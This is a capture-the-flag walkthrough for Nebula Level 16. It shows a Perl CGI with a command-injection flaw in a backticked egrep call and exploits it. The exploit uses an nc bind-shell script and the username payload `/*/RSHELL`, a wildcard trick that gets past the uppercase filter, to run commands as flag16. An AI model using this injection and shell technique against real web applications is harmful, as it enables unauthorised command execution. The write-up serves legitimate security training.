In [Level 16]() we are given the following perl CGI:
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
Its easy to see the command injection in the egrep command:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
Now, the hard part is that we are limited to uppercase. We will create our regular payload, something like:
level16@nebula:/tmp$ cat /tmp/RSHELL
#!/bin/bash
nc -lvnp 9999 -e /bin/sh
level16@nebula:/tmp$ chmod +x RSHELL
All we need to do now is find a way to put our payload in the server path and as that looks impossible, we will use a bash trick that allows us to use wildcards. So to execute /tmp/RSHELL we can use:
/*/RSHELL
Now, go to your browser, and use the following username:
`/*/RSHELL`
Back to our terminal, we will connect to the nc listener:
level16@nebula:/home/flag16$ nc 127.0.0.1 9999
id
uid=983(flag16) gid=983(flag16) groups=983(flag16)
getflag
You have successfully executed getflag on a target account
^C
Voila!!